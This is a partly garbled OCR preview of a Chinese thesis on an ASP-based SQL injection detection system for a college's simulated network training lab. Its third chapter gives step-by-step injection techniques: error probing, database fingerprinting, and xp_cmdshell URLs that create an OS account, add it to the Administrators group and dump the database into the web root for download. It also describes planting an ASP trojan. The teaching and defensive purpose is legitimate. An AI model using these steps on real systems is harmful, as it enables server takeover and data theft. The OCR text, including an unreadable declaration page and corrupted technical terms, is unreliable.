(计算机应用技术专业论文)仿真实训环境中web安全检测系统的开发与应用.pdf_第1页
(计算机应用技术专业论文)仿真实训环境中web安全检测系统的开发与应用.pdf_第2页
(计算机应用技术专业论文)仿真实训环境中web安全检测系统的开发与应用.pdf_第3页
(计算机应用技术专业论文)仿真实训环境中web安全检测系统的开发与应用.pdf_第4页
(计算机应用技术专业论文)仿真实训环境中web安全检测系统的开发与应用.pdf_第5页
已阅读5页,还剩52页未读 继续免费阅读

(计算机应用技术专业论文)仿真实训环境中web安全检测系统的开发与应用.pdf.pdf 免费下载

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

摘要 中文摘要 高职院校建立实训基地的目的就是使学生不出校门就能体验真实或仿真的 职业环境,在该环境中进行现实问题的研究,为将来的就业做好准备。但现实的 情况是:许多校内实训基地只是原来实验室的模式的照搬,没有体现高职实训基 地在培养人才过程中对技能训练的连贯性与完整性:另外,实训基地没有突出对 未来职业环境的仿真性的特点。 针对该问题,论文首先以网络仿真实训环境建设为例,介绍了其对网络建设 与研究的重要意义,给出了用于研究网络问题的一个网络仿真实训环境的模型。 另外,为了完善网络仿真实训环境的功能,作者设计了一套基于a s p 脚本语 言的w e b 安全检测系统。该系统可以对网站进行安全性检测,包括s o l 注入点检 测、分析、注入等功能。论文详细分析了s o l 注入攻击的原理、攻击过程与方法; 同时,论文对w e b 安全检测系统的结构、功能及使用作了详细地介绍。另外,对 于s o l 注入的危害及防范措施进行了一定的归纳与总结,为防御模型的研究奠定 了基础。 。 该系统是在网络仿真实训环境中开发的,现在已经被应用于网络仿真实训环 境中,用于检测学生所开发的网站程序是否存在s q l 注入问题。 关键词:仿真实训环境w e b 安全检测系统s q l 注入 摘要 a b s t ra c t 1 1 1 ep u r p o s eo fc o n s t r u c t i n g t r a n i n gb a s e si nh i g h e rt e c h n i ca n dv o c a t i o n a l c o l l e g e si st op r o v i d eas i m u l a t i o ne n v i r o n m e n tf o rs t u d e n t sw h oc a l ls o l v es o m e t e c h n i q u ep r o b l e m si ns i m u l a t i o ne n v i r o n m e n ti nc o l l e g e t h i sk i n do fs i m u l a t i o n e n v i r o n m e n tw i l ld og o o df o rs t u d e n t s e m p o l y m e n ta f t e rt h e i rg u a d u a t i o n h o w e v e r , t h ep r e s e n tp r o b l e mi st h a tm o s tc o l l e g et r a i n i n gb a s e sa r eo n l yc o p y i n gt h e i rp r e v i o u s l a b o r a t o r ym o d e l s ,w h i c hc a nn o tr e f l e c tt h er e q u i r e m e n t so fi n t e g r i t ya n dc o n t i n u i t y i nc u l t i v a t i n gv o c a t i o n a lt a l e n t si nc o l l e g e f u r t h e r m o r e ,t h i ss o r to ft r a i n i n gb a s e sc a n n o tg i v ep r e m i n e n c et os i m u l a t i o no ff u t u r ev o c a t i o n a le n v i r o n m e n t t l l i sa r t i c l ee x e m p l i e dt h ee o n s t r u c t o i no ft r a n i n ge n v i r o n m e n tw h i c hi n t r o d u c e d t h eg r e a ts i g n i f i c a n c eo fn e t w o r kr e s e a r c ha n dam o d e lo fn e t w o r ks i m u l a t i o nt r a i n i n g e n v i r o n m e r 吐 f u r t h e r m o r e ,i no r d e rt oi m p r o v et h ef u n c t i o no fn e t w o r ks i m u l a t i o nt r a i n i n g e n v i r o n m e n t , t h ea u t h o r sd e s i g n e das e r i e so fw e bs a f e t yt e s t i n gs y s t e mb a s e do na s p s c r i p tl a n g u a g e t h es y s t e mc o u l dc h e c kt h ew e b ss a f e t y ,i n c l u d i n gt h ef u n c t i o no f 。s q li n j e c f i o nd e t e c t i o n ,a n a l y s i s ,i i l j e c f i o n t h ea r t i c l ea n a l y z e de l a b o r a t e l yt h es q l i n j e c t i o na t t a c k i n gt h e o r i e s ,a t t a c k i n gp r o c e s s e sa n ds t e p s m e a n w h i l e ,p a p e r s i n t r o d u c e de l a b o r a t e l yi nt e r m so ft h ec o n s t r u c t i o n ,f u n c t i o na n du s a g eo ft h es y s t e m m o r e o v e r , t h ea r t i c l es u m m e du pd a m a g ea n dc o u n t e r m e a s u r e st ol a yt h ef o u n d a t i o n o f d e f e n s i v em o d e ls t u d y , t h es y s t e mi sd e v e l o p e di nt h en e t w o r kn i m u l a t i o nn r a i n i n ge n v i r o n m e n ta n dh a s b e e na p p l i e dt ot h ee n v i r o n m e n tf o rt h es t u d e n t sd e t e c t i n gt h ew e b s i t ed e v e l o p e db y s t u d e n t sw h e t h e ro rn o te x i s ts q li n j e c t i o ni s s u e s 。 k e y w o r d s :s i m u l a t i o nt r a i n i n ge n v i r o n m e n t w e bs a f e t yt e s t i n gs y s t e m s q l i n j e c t i o n 独创性声明 彳j 人j :一,姐【万王炎:j :二上工、j :? j ,”。:。一 研究戚爿:,除了文中特誓? ;,! ,”:+ 。:i q - 4 0 :弘二处再一一 ! j :爹j 。i j j 二:j :,i j :j 奠果,l02 7 j 。一l ? 寺j i 二 二譬两筻明过1 :i 译l 。与我同二:_ :二。、蚓? i 芗z ,:一_ i :+ ”二一2 ,。【t ! 一 作了明确的说明并表示了谢意。 学位论文作者虢赵五珐签字吼如。_ 7 年呵月f 曰 学位论文版权使用授权书 本学位论文作者完全了解,t 老大学有关倪留、f :_ 一:沦支鸬z :j 二 特授权鑫盗盘堂可以将! 专! j 位论文 :o 全部或部分尊冀入j 。! 乡:。o _ j 兰”i : 索,并采用影印、缩印或扫描写:复制于段保:芬、汇编匕i0 :二叠川二i = :。一:二、j 。一 向国家有关部门或机构送交论文的复印件牙e 磁盘。 ( 保密的学位论文在解密后适用本授权说明) 学位论文作者签名: 拯玉诌 签字日期:为护1 年 c ? 月 f 日 - 、 导师签名: 签字醐:1 年t 川日 j 第一章绪论 1 1 选题背景 第一章绪论 1 高职院校仿真实训环境的建立迫在眉睫 随着高等教育培养技术应用型人才的要求的不断提高,对培养应用技术型人 才的关键环节实训环节的教学的要求也不断的提高。实训环境的建设,是培 养合格工程技术应用型人才的必备条件之一,是高职教育质量、特色的保证。建 设实训基地,应以培养学生技术应用能力和职业素质为主旨,以行业科技和社会 发展的先进水平为标准,以学校发展规划目标所设专业的实际需要为依据,以规 范性、先进性和实效性为原则,与生产、建设、管理、服务第一线相一致。通过 实训基地的建设和开发,以保证高职专业在一定时期内的方向和有效性;但目前 许多校内实训基地所面临的问题是:校内基地只是原来实验室模式的照搬,没有 体现高职实训基地在培养人才过程中对技 邑- 0 i i 练的连贯性与完整性;另外,实训 基地没有突出对未来职业环境的仿真性的特点,最重要的是没有提供标准化的实 验平台,对技能训练的过程或实验成果进行监督或考核,看其是否满足未来职业 的要求。因此,提供仿真的实训环境,利用它对所训练的技能建立统一的标准化 的分析与测试平台,以弥补脱离实际工作环境的缺陷,达到与实际社会生产活动 紧密衔接的目的,这个问题已经迫在眉睫。 + 2 必须将网络安全作为在仿真实训环境中研究的重点问题 从1 9 6 9 年世界第一个计算机网络诞生时只连接了几台计算机,经过3 0 多年 的发展,计算机网络已经成为连接数以亿计的计算机、几乎遍布全球的互联网。 互联网的迅猛发展,使人们进入了网络社会,许多关系到国计民生的重要设施都 越来越依赖于计算机网络,政治、经济、能源、交通、思想文化都日益变得与网 络密不可分。各种基于网络的信息系统已成为国民经济关键领域中重要组成部 分。如:电力信息系统、医疗服务信息系统、金融服务信息系统、交通指挥通信 系统、汽车运输和存储系统、社区服务信息系统、电子商务信息系统等,计算 机网络已成为国家重要的基础设施。 然而,对网络的依赖性越大,所产生的风险也越大。因为网络上传输的信息 时刻会面临网络攻击者的破坏,出现这一局面的原因有以下几点: ( 1 ) 网络开发性引发的攻击 因为越来越多拥有不同企图、不同背景的网络终端用户介入到互联网环境 中,加之网络用户可以轻易地获得核心技术资料,开放源代码的应用程序,由于 第一章绪论 其公开代码的特点也使众多准攻击者有了用武之地。 ( 2 ) 协议自身存在的漏洞 先今广泛应用的网络协议t c p i p ,由于其设计的初衷只是在一个可信的环 境下使局域网互联,网络的可靠性与可用性要明显优于安全性,这也是导致网络 上,如d d o s ,i p 欺骗,扫描,监听等多种攻击发生的根源。 ( 3 ) 关联与复杂性 由于软件发展周期与技术水平的限制,可以说基本上所有软件在设计中都或 多或少遗漏了计算机安全方面的问题,即使少数的网络产品有足够的安全健壮 性,但是由于网络关联性也会导致只需攻击其中最薄弱的环节就会使整个体系瘫 痪,并且,当今操作系统的多样性和网络拓扑结构的复杂性也使得网络安全的配 置十分艰难,攻击者可以轻易的隐藏自己达到其攻击的目的。 ( 4 ) 安全意识 广大网络用户普遍安全意识淡薄,这也是导致黑客攻击层出不穷,利用计算 机犯罪的案例与日俱增的主要原因之一。 。网络系统所面临的入侵、事故、失效等威胁不但影响网络系统本身,还将形 成一种链式反应,产生严重的后果。网络安全问题己成为网络运营商、网络服务 提供商和信息安全技术的研究者共同的课题。 。3 s q l 注入攻击发展迅速 在众多的影响网络安全的事件中,s q l 注入攻击已占有相当大的比例,因此 本文在讨论通过仿真实训环境来研究网络安全问题时,主要是对s o l 注入攻击进 行分析与研究。 据s y m a n t e c 公司2 0 0 3 年1 0 月发布的赛门铁克互联网安全威胁报告 报告b 1 | ,在2 0 0 3 年1 - 6 月,互联网上的总攻击活动率提高了1 9 。而另一份来 自w e b c o h o r t 的报告则显示至少9 2 的网络应用程序可能受到某种形式的黑客攻 击,这些应用程序中6 0 是有可能遭受s o l 注入攻击的。 我们知道,基于b s 模式( 即浏览器服务器模式) 的网络应用越来越普及, 各大高校院系、公司企业、政府部门、事业单位都建构起自己的动态网站,而这 些网站大部分都采用a s p + s q ls e r v e r + i i s 的架构,据资料统计,我国此类网站 占7 0 ,但这些网站大部分都由于种种原因遭受不同程度的s q l 注入攻击,尤 其s o l 注入攻击再搭配其他入侵攻击方式( 如木马后门等) 的混合使用,其结 果更不堪设想。s o l 注入攻击由于其广泛性、易学性、难捕获性已经逐渐成为互 联网上主流的黑客攻击方式。 第一章绪论 1 2 课题研究的现状 1 2 1实训基地建设现状及要解决的问题 目前,我国计算机专业实训基地建设主要是以硬件建设为主,也就是在原有 的实验室的基础上对原有的硬件设备进行配置上的升级,扩充设备的数量,并配 置常用的工具软件对机器进行维护,对实验室结构进行改造,从而形成所谓的实 训环境。 然而,若形成真正意义的仿真实训环境,则需要在仿真实训环境的设计模式、 功能及软件平台上进行相应的设计与改造,结合特定行业职业标准的要求,提供 完善的实训模拟仿真解决方案,在系统方案的设计上,强调对技能操作能力的实 训和自动测试或考核。使得学生在实训基地中所做的工作及练习的内容能够得到 正确的指导与监督,形成一整套的技能训练方案,减少教师在技能训练过程中的 干预,利于发挥学生技能学习的主动性、积极性与创造性。本课题所开发的系统 可以充实仿真实训环境中软件平台。 、 1 2 2s ql 注入攻击技术研究现状 在国外,sql 注入攻击最早出现在1999 年,我国是在大概2 0 0 2 年开 始出现这种攻击技术。因而对于s q l 注入攻击的研究有人工寻找漏洞、手工输 入数据进行注入测试的;由于此时只能凭经验手工提交数据试探,效率较低,为 解决这一问题出现了自动化的攻击脚本。国内目前关于s q l 注入的攻击软件相对 不多,并且9 0 以上是集中在w i n d o w s 操作系统上,如p h p s y p 、m y s i 等,它们 的攻击模块相对单一,局限性很多,只能按照开发人员规定做特殊范同的猜解与 运算,实用性不高。对于检n 防御的研究大多还停留在模型的设计上。 1 3 课题研究的意义 1 总结前人对网络安全问题的一些研究,并做适当引申 笔者借此课题希望能比较全面的总结前人对网络安全问题的一些研究,并做 适当引申给国内的网络管理和爱好网络安全的人士们一些参考。 尽管s q l 注入方法层出不穷,但是总体来说,只要对s q l 语言足够熟悉, 了解s q l 注入的攻防原理,并且时刻注意s q l 注入的危险,这就向网络安全迈 出了重要的一步。希望本文能够使更多的程序员注意到注入漏洞的防范,尽可能 第一章绪论 使系统程序漏洞减少,提高网络系统的安全性。 2 为网络内反攻击策略的研究奠定良好的基础 通过分析与利用攻击者的实施方法,把握攻击者的心理,对网络攻击进行深 入研究,对提高安全检测、主动防御的能力,以及制定更好的安全策略都具有重 要意义。 3 对仿真实训环境的建立与应用做适当的研究,以引起业界的关注 通过对仿真实训环境的模式进行设计,明确了该仿真实训环境的功能。同时 在其上所研制、开发的系统,又可以满足仿真实训环境中软件平台建设的要求, 为进一步充实和完善实训环境的功能奠定了基础。 仿真对网络的建设和研究很有意义。它有助于人们对网络实际建设之前了解 网络的特性,或者发现规划设计中的缺陷,大大降低网络建设的风险;也为网络 系统在运行之后的完善提供参照;对于新型网络的研究,仿真可以为理论模型的 可行性和性能研究提供佐证。 因此学校的实训环境建设中,有必要把仿真实训环境的分析与研究作为一项 重点内容。 1 4 课题工作及创新点 1 本课题主要有以下几方面的工作: ( 1 ) 对目前的仿真实训基地建设现状进行简单的分析。 ( 2 ) 对网络仿真试验平台建设的意义进行简单的讨论。 ( 3 ) 对s o l 注入式攻击进行细致的分析与研究,并提出了相应的防御方法。 ( 4 ) 设计、开发简单的系统对s q l 注入攻击进行分析与模拟攻击,充实仿 真实训环境的软件平台。 2 本课题在以下几方面有所创新 ( 1 ) 对仿真实训环境及标准化平台建设意义进行简单的探讨。 ( 2 ) 对s o l 注入的技术进行详细研究。 ( 3 ) 设计、开发简单的系统对s o l 注入攻击进行分析与模拟攻击。 1 5 论文的组织 全文共分为6 章:, 第1 章,讨论了课题的研究背景、现状、研究的技术手段及其意义,并指出 了本课题的研究内容和创新点,最后介绍了论文的组织。 第一章绪论 第2 章,对网络仿真实训基地的结构和功能进行了介绍,从而为作者为什么 研究s o l 注入攻击及开发相应的软件系统做好了铺垫。 第3 章,对s o l 注入所依赖的技术原理做了比较全面的论述,包括s q l 注入 的基本原理、s o l 注入的总体思路,以及s q l 过程中所使用的技术。这部分内容 是课题的主要出发点和思想路线,同时也是课题的落脚点。 第4 章,是本课题的工作重点之一。对影响网站安全的s q l 注入的危害及防 范措施进行了详细的说明。 第5 章,是本课题的又一个工作重点。介绍了系统的总体功能及各功能模块 的作用及实现功能所需的主要技术等。 第6 章,对课题工作进行了总结并指出不足之处,从而确定了今后要努力改 进的方面。 第二章仿真实训环境的构建形式及功能 第二章仿真实训环境的构建形式及功能 21 网络仿真实训环境的拓扑结构 仿真实训环境中整个实验平台的设计是以计算机系网站即运行平台作为目 标系统建设的。硬件配置遵循以下原则:对服务器而言,确保可以安装运行平台 中对应的操作系统;对于网络或安全设备,确保其支持的功能或协议与运行平台 中设备基本相同。仿真实训环境的拓扑结构如图2 - 1 所示“1 。 圈2 _ 1 阿络仿真实训环境的拓扑结构 第二章仿真实训环境的构建形式及功能 2 2 网络仿真实训环境的功能 仿真实训环境预实现的功能主要包括以下几方面四1 : 1 进行网站的设计与运行测试 实验人员可以分组在该平台上进行网站的开发与设计工作,同时可以随时对 网站所实现的功能等进行相应的分析与测试,对网站是否存在漏洞进行检测,为 网站的调试工作起到桥梁作用。 2 开展攻防实验查找系统漏洞 没有绝对安全的网络,只有不断经受攻击检验的网络才能逐步趋向于安全。 通过对环境进行攻击实验,可以找出该实验平台的漏洞及隐藏的风险,从而采取 有效的措施填补漏洞、防范风险,是增强网络安全的一种重要手段。 对于系统漏洞的监测,我们可以使用自己已有的软件进行攻防实验,也可以 自己开发相应的检测系统。仿真实验平台可以采用一部分渗透测试技术来实现。 由于实际网络运行平台不能轻易的停止服务,在其上实施渗透测试有一定的顾 虑,因此,使用仿真的实训环境来进行这种实验便具有十分重要的意义。 3 应对新的攻击提出对策 仿真实训环境还为解决新型攻击提供了一个研究环境。由于技术的发展日新 月异,网络系统所面临的威胁和攻击不断翻新。当网络系统遭遇新型攻击时,受 损的运行平台需要采取措施尽快恢复服务,并尽可能早地发现漏洞和缺陷,制定 修补方案。系统地研究防范此类型攻击的方法很困难。然而在仿真实验平台上, 可以尝试各种手段对仿真的网络环境进行攻击,一方面以期发现新的漏洞,另一 方面也寻找新型攻击技术,从而为运行平台在遭受新型攻击时寻找一些备案和防 范手段,做到防患于未然。 4 改进网络结构、加强网站安全性设计和安全策略配置 根据攻防实验的结果和系统日志等资料,可以提出对实际网络系统结构的改 迸方案。 各种网络安全产品不断出现,功能不断加强,它们之间如何互动协作,怎样 的安全策略才是最合理的? 这些都可以在仿真实训环境中进行实验,得出对比报 告,从而确定最佳的方案。在仿真实训环境上进行网络结构的探索和新产品的选 型试用,制定合理的安全策略,对于增加运行平台的安全将十分有益。 从以上描述来看,仿真实训环境中可以开展各种类型的实验,这些实验的开 展大部分都需要配备专门的软件来完成。第五章将利用自主开发的w e b 安全检测 系统,对仿真环境中的网站进行安全性检测,从而验证了网络仿真实训环境对于 改进网络安全的作用。 第三章s o l 注入攻击技术的分析与研究 第三章s o l 注入攻击技术的分析与研究 随着i n t e r n e t 在全球的快速发展,基于w e b 技术的电子设备、信息查询和 动态发布已成为浪潮。w e b 站点提供的信息服务要求用户与服务( s e r v e r ) 之间能 够充分地实时、动态交互,要求与后台服务器数据库结合,这就促使了基于b s 模式的网络应用越来越普及,这些w e b 站点大多使用服务器软件+ 脚本语言+ 数 据库系统模式构建,如使用i i s + a s p + s o ls e r v e r 或p a c h e + p h p + m y s q l ,与此同 时,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员过份的专 注于程序功能的实现,相当大一部分程序员在编写代码的时候,没有对用户输入 数据的合法性进行判断,使应用程序存在安全隐患。即存在s o l 注入漏洞。这 种漏洞的普及程度非常高且无法通过安装系统补丁或软件补丁的方式消除,因此 存在极大的安全隐患。根据调查,国内的网站用a s p + a c c e s s 或s o l s e r v e r 的占 7 0 以上,p h p + m y s q l 占2 0 ,其他的不足1 0 。所以在过去的几年里,s o l 攻击 的数量一直在增长。攻击者利用s o l 语法从客户端提交特殊的代码,从而收集 程序及服务器的信息,以获取到想要的资料。比如服务器把数据库返回的出错信 息没有进行转换就直接输出给用户看,那么攻击者就可以通过从客户端向服务器 提交精心构造的一些s o l 语句诱导服务器返回需要的信息,再根据这些信息获 取到网站的一些重要信息,如管理员帐号、密码等。 本章将以s o ls e r v e r ( a c c e s s ) + a s p + h s 平台为基础,描述s o l 注入的定 义、特征、原理,详细介绍攻击的过程,为下一章w e b 安全检测程序的开发奠定 了坚实的理论基础。 3 1s o l 注入简介 s q l ( s t r u c t u r e dq u e r yl a n g u a g e ,结构化查询语言) ,最早是i b m 的圣约 瑟研究实验室为其关系数据库管理系统s y s t e mr 开发的一种查询语言,它的前 身是s q u a r e 语言。s o l 语言结构简洁,功能强大,简单易学,所以自从i b m 公 司1 9 8 1 年推出以来,s q l 语言得到了广泛的应用。目前,s o l 语言已被确定为关 系数据库系统的国际标准,被绝大多数商品化关系数据库系统采用,如o r a c l e 、 s y b a s e 、d b 2 、i n f o r m i x 、s o ls e r v e r 这些数据库管理系统都支持s o l 语言作为 查询语言。 结构化查询语言s o l 是一种介于关系代数与关系演算之问的语言,其功能包 括查询、操纵、定义和控制四个方面,是一个通用的功能极强的关系数据库标准 第三章s q l 注入攻击技术的分析与研究 语言。在s q l 语言中不需要告诉s q l 如何访问数据库,只要告诉s o l 需要数据库 做什么。 3 1 1s q l 注入的定义 s q l 注入攻击源于英文“s q li n j e c t i o na t t a c k ”。指攻击者利用网站设计 上的漏洞,通过在目标服务器上运行s o l 命令以进行其他方式的攻击。目前还 没有看到一种标准的定义,常见的是对这种攻击形式、特点的描述。 微软技术中心从2 个方面进行了描述n 纠: ( 1 ) 脚本注入式的攻击。 ( 2 ) 恶意用户输入用来影响被执行的s o l 脚本。 s t e p h e nk o s t 给出了这种攻击形式的另一个特征,“从一个数据库获得未 经授权的访问和直接检索 。目前大部分业内人士将其的定义为:一些网站由于 没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患,攻击者可以 通过客户端向服务器提交一段数据库查询代码,并根据返回的结果,非法获得网 站的敏感数据。 s q l 注入攻击就其本质而言,他利用的工具是s q l 的语法,针对的是应用 程序开发者编程过程中的漏洞。“当攻击者能够操作数据,往应用程序中插入一 些s o l 语句时,s o l 注入攻击就发生了”。因此,从理论上说,对于所有基于s o l 语言标准的数据库软件都是有效的,包括m ss q ls e r v e r ,o r a c l e ,d b 2 ,s y b a s e , m y s q l 等。当然,各种软件有自身的特点,最终的攻击代码可能不尽相同。s q l 注入示范如图3 1 所示n : zk a j 赫一i , 1 1 。 飞y 图3 - 1s o l 注入示范 第三章s q l 注入攻击技术的分析与研究 3 1 2s o l 注入的原理 s q l 注入的一般原理是利用客户端从正常的w w w 端口提交特殊的代码,得 到返回的种种提示和信息,收集程序及后端数据库服务器的信息,从而获取想得 到的资料。动态生成s q l 命令时没有对用户输入的数据进行验证,而是直接使 用用户输入的数据,是形成s q l 注入攻击的主要原因。 假设测试网站的网址为w w w t e s t c o m 。在网站首页上,我们可以点击其中 任意一个链接,地址为:h t t p :w 稍t e s t c o m e x a s p ? i d = l o ,在这个地址后面 加上单引号“,服务器会返回下面的错误提示: m i c r o s o f tv b s c r i p t 编译器错误错误8 0 0 a 0 3 f 6 缺少e n d ii s h e l p c o m m o n 5 0 0 1 0 0 a s p ,行2 4 2 m i c r o s o f to l ed bp r o v i d e rf o ro d b cd r i v e r s 错误8 0 0 4 0 e 1 4 m i c r o s o f t o d b cm i c r o s o f ta c c e ssd r i v e r 语法错误( 操作符丢失) 在 查询表达式i d = l 0 中。 e x a s p ,行6 9 从这个错误提示能看出: ( 1 )网站使用的是a c c e s s 数据库,是通过o d b c ,而不是通过j e t 引擎 连接数据库。 ( 2 ) 该s o l 语句所查询的表中有一名为i d 的字段。 从上面的例子可以知道,s o l 注入的原理,就是从客户端提交特殊的代码, 收集程序及服务器的信息,从而获取攻击者想得到的资料。 3 2s o l 注入的思路及常用方法 首先进行如下设置: 将“i e 菜单= 工具= ) i n t e r n e t 选项= 高级= 显示友好h t t p 错误信息”前 面的勾去掉。否则,不论服务器返回什么错误,i e 都只显示为h t t p5 0 0 服务器 错误,不能获得更多的提示信息。 注入过程通常用到函数,通过函数可以达到注入的目的。 常用函数如下: a c c e s s :a s c ( 字符) s q l s e r v e r :u n i c e d e ( 字符) , 作用:返回某字符的a s c i i 码; a c c e s s :c h r ( 数字) s q l s e r v e r :n c h a r ( 数字) , 第三章s o l 注入攻击技术的分析与研究 作用:与a s c 相反,根据a s c i i 码返回字符; a c c e s s :m i d ( 字符串,n ,l )s q l s e r v e r :s u b s t r i n g ( 字符串,n ,l ) ; 作用:返回字符串从n 个字符起长度为l 的子字符串,即n 到n + l 之间的字 符串; a c c e s s :a b c ( 数字) s q l s e r v e r :a b c ( 数字) ; 作用:返回数字的绝对值( 在猜解汉字的时候会用到) ; a c c e s s :ab e t w e e nba n dcs q l s e r v e r :ab e t w e e nba n dc : 作用:判断a 是否界于b 与c 之间。 在注入中可能要处理中文字符,a c c e s s 中,中文的a s c i i 码可能会出现负 数,取出该负数后用a b s0 取绝对值,汉字字符不变。s q l s e r v e r 中,中文的a s c i i 为正数,但由于是u n i c o d e 的双位编码,不能用函数a s c i i0 取得a s c i i 码,必 须用函数u n i c o d e ( ) 返回u n i c o d e 值,再用n c h a r 函数取得对应的中文字符。 s q l 注入攻击可以手工进行,也可以通过s o l 注入攻击辅助软件如h d s i 、 d o m a i n 、n b s i 等实现,其实现过程可以归纳为以下几个阶段: 3 2 1s q l 注入漏洞的判断 1 简单的判断方法 如:h t t p :嬲。t e s t c o m e x 。a s p ? i d = 2 0 ( 附加一个单引号) 如果程序没有 过滤好“ 的话,就会提示c o n t e n t a s p 运行异常; 2 经典的测试方法 般可以采用经典的1 = 1 、1 = 2 测试法,即: ( 1 ) h t t p :w w w t e s t c o m e x a s p ? i d = 2 0 ( 正常的网址) ( 2 ) h t t p :w w w t e s t c o m e x a s p ? i d = 2 0a n d1 = 1 ( 3 ) h t t p :帆哺t e s t c o m e x a s p ? i d = 2 0a n d1 = 2 再根据上面三个网址返回的结果可判断是否存在注入的可能性。 可以注入的表现: ( 1 ) 网页正常显示 ( 2 ) 网页正常显示,内容基本与( 1 ) 相同 ( 3 ) 提示b o f 或e o f ( 程序没做任何判断时) 、或提示找不到记录( 判断了 r s e o f 时) 、或显示内容为空( 程序加了o ne r r o rr e s u m en e x t ) 不可以注入则表现为: 1 ( 1 ) 网页正常显示 ( 2 ) ( 2 ) 和( 3 ) 一般都会有程序定义的错误提示,或提示类型转换时出错。 第三章s q l 注入攻击技术的分析与研究 3 2 2 判断数据库类型及方法1 3 1 由于不同的数据库的函数、注入方法都是有差异的,所以在注入之前,还应 该判断一下数据库的类型。s o ls e r v e r 有一些系统变量,如果服务器i i s 提示 没关闭,并且s o ls e r v e r 返回错误提示的话,那可以直接从出错信息获取。 1 利用数据库服务器的系统变量进行判断 s o ls e r v e r 有u s e r ,d b n a m e0 等系统变量,利用这些系统变量不仅可以判 断s q ls e r v e r ,而且还可以得到大量有用信息。如: ( 1 ) h t t p :唧t e s t c o m e x a s p ? i d = 2 0a n du s e r o 说明:不仅可以判断是否是s q ls e r v e r ,而还可以得到当前连接到数据库的 用户名。 分析:首先,前面的语句是正常的,重点在a n du s e r o ,我们知道,u s e r 是s q ls e r v e r 的一个内置变量,它的值是当前连接的用户名,类型为n v a r c h a r 。 拿一个n v a r c h a r 的值跟i n t 的数0 比较,系统会先试图将n v a r c h a r 的值转成 i n t 型,当然,转的过程中肯定会出错,s o ls e r v e r 的出错提示是:“将n v a r c h a r 值“a b c 转换数据类型为i n t 的列时发生语法错误,“a b c ”正是变u s e r 的值,这样,我们就拿到了数据库的用户名。众所周知,s o ls e r v e r 的用户s a 是个等同a d m i n s t r a t o r s 权限的角色,拿到了s a 权限,几乎肯定可以拿到主机 的a d m i n i s t r a t o r 了。上面的方法可以很方便的测试出是否是用s a 登录, 注意:若是s a 登录,提示是将“d b o 转换成i n t 的列发生错误,而不是s a ”。 ( 2 ) h t t p :w w w t e s t c o m e x a s p ? i d = 2 0a n dd b _ n a m e0 o 说明:不仅可以判断是否是s o ls e r v e r ,而还可以得到当前正在使用的数 据库名。 如果服务器i i s 不允许返回错误提示,那怎么判断数据库类型呢? 我们可以 从a c c e s s 和s o l s e r v e r 区别入手,a c c e s s 和s q l s e r v e r 都有自己的系统表;比 如存放数据库中所有对象的表。 2 利用系统表 a c c e s s 的系统表是m s y s o b j e c t s ,在w e b 环境下没有访问权限,而s o ls e r v e r 的系统表是s y s o b j e c t s ,在w e b 环境下有访问权限。对于以下两条语句: h t t p :w w w t e s t c o m e x a s p ? i d = 2 0a n d ( s e l e c tc o u n t ( 木) f r o m s y s o b j e c t s ) o h t t p :w w w t e s t c o m e x a s p ? i d = 2 0a n d ( s e l e c tc o u n t ( :l :) f r o m m s y s o b j e c t s ) o 说明:若数据库是s q ls e r v e r ,则第一条,e x a s p 一定运行正常,第二条 第三章s q l 注入攻击技术的分析与研究 则异常;若是a c c e s s 则两条都会异常。 如果数据库是s o l s e r v e r ,那么第一个网址的页面与原页面e x a s p 是大致 相同的;而第二个网址,由于找不到表m s y s o b j e c t s ,会提示出错,就算程序有 容错处理,页面也与原页面完全不同。 如果数据库用的是a c c e s s ,那么情况就有所不同,第一个网址的页面与原 页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说 是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以 得知系统所用的数据库类型,第二个网址只作为开启i i s 错误提示时的验证。 3 。2 3 确定x p c m d s h e l l 可执行情况 s q l 注入攻击不仅会侵入数据库,还会对数据库所在的操作系统造成危害。 扩展存储过程是s o ls e r v e r 提供的一类用来扩展数据库功能,对操作系统进 行控制的命令,其中x p c m d s h e l l 用来执行系统命令,x p s e r v i c e c o n t r o l 用来 控制服务,s p a d d e x t e n d e d p r o c 用来添加自定义的扩展存储过程。利用这些命 令可以执行与操作系统交互的操作,达到攻击对方系统的目的。 若当前连接数据的帐号具有s a 权限,且m a s t e r d b o x p _ c m d s h e ll 扩展存储 过程( 调用此存储过程可以直接使用操作系统的s h e l l ) 能够正确执行,则整个计 算机可以通过以下几种方法完全控制。 ( 1 ) h t t p :w w w t e s t c o m e x a s p ? i d = 2 0 a n du s e r o 说明:n e w s a s p 执行异常但可以得到当前连接数据库的用户名( 若显示d b o 则代表s a ) 。 ( 2 ) h t t p :w 阿t e s t c o m e x a s p ? i d = 2 0a n dd b n a m e 0 o 说明:n e w s a s p 执行异常但可以得到当前连接的数据库名。 ( 3 ) h t t p :w w w t e s t c o m e x a s p ? i d = 2 0 ;e x e cm a s t e r x p c m d s h e l l “n e tu s e rh a k e r2 0 0 8 a d d ” 分析:m a s t e r 是s o l - s e r v e r 的主数据库;其中的分号表示s q l s e r v e r 执 行完分号前的语句名,继续执行其后面的语句;“一号是注解,表示其后面的 所有内容仅为注释,系统并不执行。可以直接增加操作系统帐户h a k e r ,密码为 2 0 0 8 。 ( 4 ) h t t p :w w w t e s t c o m e x a s p ? i d = 2 0 ;e x e cm a s t e r x p c m d s h e l l “n e tl o c a l g r o u pa d m i n i s t r a t o r sh a k e r a d d ” 说明:把刚刚增加的帐户h a k e r 加到a d m i n i s t r a t o r s 组中。 ( 5 ) h t t p :嗍t e s t c o m e x a s p ? i d = 2 0 :b a c k u u pd a t a b a s e 数据库名 t od i s k = c :i n e t p u b w w w r o o t s a v e d b 第三章s o l 注入攻击技术的分析与研究 说明:把得到的数据内容全部备份到w e b 目录下,再用h t t p 把此文件下载( 当 然首选要知道w e b 虚拟目录) 。 这样你就成功的完成了一次s q l 注入攻击,如果上述条件不成立,则需要继 续进行下面的步骤。 3 2 4 发现w e b 虚拟目录 通过w e b 虚拟目录,可以确定放置a s p 木马的位置,进而得到u s e r 权限。 w e b 虚拟目录可以根据经验猜解,一般来说,w e b 虚拟目录是: c :i n e t p u b w w w r o o t :d :i n e t p u b w w w r o o t :e :i n e t p u b w w w r o o t 等;可执行 目妻拟目录是:c :i n e t p u b s c r i p t s :d :i n e t p u b s c r i p t s :e :i n e t p u b s c r i p t s 等。 